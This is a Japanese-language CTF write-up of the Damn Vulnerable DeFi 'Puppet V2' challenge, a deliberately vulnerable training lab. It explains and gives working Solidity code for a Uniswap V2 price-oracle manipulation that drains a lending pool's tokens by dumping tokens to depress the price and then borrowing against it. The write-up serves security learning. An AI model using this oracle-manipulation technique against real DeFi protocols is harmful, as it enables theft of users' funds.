チャレンジ#9 - Puppet V2#
Solidity と Foundry のシステム学習のために、私は Foundry テストフレームワークを使用して damnvulnerable-defi の解答を再作成しました。議論や共同開発にご参加ください〜🎉
コントラクト#
- PuppetV2Pool:borrow メソッドを提供し、weth をトークンに交換し、トークン価格は uniswap の価格に基づいています
- Uniswap-v2 関連のコントラクト
テスト#
- weth およびトークンコントラクトのデプロイ
- uniswap ファクトリー、ルーター、ペアコントラクトのデプロイ
- ルーターコントラクトとのやり取りを通じて流動性を注入します。トークンの数:UNISWAP_INITIAL_TOKEN_RESERVE、eth の数:UNISWAP_INITIAL_WETH_RESERVE
- puppetV2Pool コントラクトのデプロイ。プレイヤーとプールにそれぞれ PLAYER_INITIAL_TOKEN_BALANCE および POOL_INITIAL_TOKEN_BALANCE の数のトークンを転送します
- テストスクリプトを実行します
- プールのトークン残高が 0 であり、プレイヤーのトークン残高が POOL_INITIAL_TOKEN_BALANCE よりも大きいことを期待します
解答#
この問題の攻撃方法は Puppet-v1 と似ており、引き続き uniswap の価格オラクルを使用してプールを攻撃します。
注意すべきは、ここで使用されているのは uniswap-v2 であり、v2 ではトークンと weth のトークンペアが使用されていますが、プレイヤーユーザーは最初に eth しか持っていないため、weth コントラクトとのやり取りが必要です。
攻撃の完全な手順は次の図に示す通りです:
- ステップ 1:
swapExactTokensForTokens
を呼び出して、プレイヤーアカウントのすべてのトークンを weth に交換し、uniswap でのトークンの単価を下げます - ステップ 2:借り出しプールに必要なすべてのトークンにどれだけの weth が必要かを計算し、ステップ 1 の後に一部の weth を取得し、残りの weth を eth の担保で補完します
- ステップ 3:プールの
borrow
メソッドを呼び出して、プールからすべてのトークンを借り出します - ステップ 4:(この問題では要件がありませんが、weth をプールに入れて、プールの差額を補完することができます)
以下は完全な手順のコード例です:
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// swap token to weth
uniswapV2Router.swapExactTokensForTokens(
PLAYER_INITIAL_TOKEN_BALANCE, // amount in
1, // amount out min
path, // path
address(player), // to
block.timestamp*2 // deadline
);
uint256 value = pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 depositValue = value - weth.balanceOf(address(player));
weth.deposit{value: depositValue}();
weth.approve(address(pool), value);
pool.borrow(POOL_INITIAL_TOKEN_BALANCE);